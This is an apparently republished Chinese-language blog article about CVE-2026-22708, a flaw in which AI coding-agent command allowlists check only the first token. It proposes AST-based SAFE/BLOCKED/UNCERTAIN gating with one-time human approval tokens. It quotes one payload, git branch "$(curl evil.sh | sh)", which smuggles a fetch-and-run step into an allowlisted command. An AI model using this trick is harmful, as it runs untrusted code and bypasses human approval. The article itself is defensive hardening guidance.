Agent Allowlist 严重漏洞 CVE-2026-22708：prefix 匹配形同虚设

你把 git 加进了 Claude Code 的 allowlist，省得每次运行命令都要再问一遍。三周后你才发现那个 allowlist 其实只读了命令的第一个 token。这篇文章指出扁平化 allowlist 的破口，以及如何在 agent 碰到 shell 之前架起一层真正做了分类的 gate。

扁平化 allowlist 只认第一个词

根据 agent-exec-guard 作者的文章，现有大多数 agent 的 allowlist "只检查命令是否以某个安全词开头"——git、npm、ls，只要以这些开头就放行。

作者以 Cursor 上的 CVE-2026-22708 为例：你可以把 payload 塞进一条已经被 allowlist 的命令（比如 git branch）里，它照样跑，"因为检查逻辑永远不会读到第一个 token 之后的部分"。根据文章描述，漏洞的实际形态是：

git branch "$(curl evil.sh | sh)"

按前缀匹配的 allowlist 不是行为策略，而是字符串匹配：命令替换、管道、重定向都在它的视线之外。

三个标签取代一张列表

文章描述的思路是：把命令解析成真正的 AST，再分成三组，而不是做字符串匹配：

SAFE — 命中已验证的规则，直接跑，不打断工作流。

BLOCKED — 命中已知危险 pattern：访问 secrets、大范围删除、数据外泄、塞在参数里的命令替换。

UNCERTAIN — 不明确落在前两组的一切情况，escalate 给人，必须明确 approve 才能跑。

作者举的例子：git status 是 SAFE，rm -rf / 是 BLOCKED，而 git push --force origin main 属于 UNCERTAIN——需要 approve。第三组值得注意：它把"不确定"从默认漏洞转变成了有人负责的状态。

在 approve 步骤，文章采用 signed、一次性使用的 HMAC token，绑定在那个具体 command 的 checksum 上。后果是：agent 无法自称"这个已经被人 approve 了"，因为只有一次真实的 approve 行为才会生成有效 token，而那个 token 只能用于那一条命令。这是作者自己的项目，目前还在 v0.1 阶段，作为 MCP server 通过 npx agent-exec-guard 运行——把它当作参考 pattern 来看，而不是已经过独立验证的保护层。

把 autonomy 和 authority 剥开

本周另一篇分析文章直接点了根本原因。作者定义 autonomy 为 agent 被允许自行决策的事，authority 为它被允许实际执行的事：tool call、API 写操作、数据库变更。

作者的核心论点："更强的模型并不天然应该获得更多 authority"。Authority 必须由模型外部的 policy 和 control 来管，而不是靠模型自身 reason 得再好。作者认为大多数 pilot agentic 系统在生产环境失败，不是因为模型质量，而是因为没人提前定义好三个问题：什么不用监督就能跑，什么需要人 approve，什么必须排除在 scope 之外。

如果这三个问题空着，文章描述了两种破法：over-constrained——agent 被勒到无法产生价值；under-governed——第一次错误行为就足以摧毁整个项目的信任。

这周该做的事

打开你的 agent config，用正确的问题重读 allowlist：这条规则是按行为拦截，还是按第一个词拦截？如果是按第一个词，就先把你仓库的三组 SAFE / BLOCKED / UNCERTAIN 写出来，再去找工具——那份列表才是难点，工具只是执行者。不可逆的命令（force push、migration、删 bucket）应该落在需要人 approve 的那组，哪怕你刚换成了更强的模型。

This article was originally published on NextFuture. Follow us for more fullstack & AI engineering content.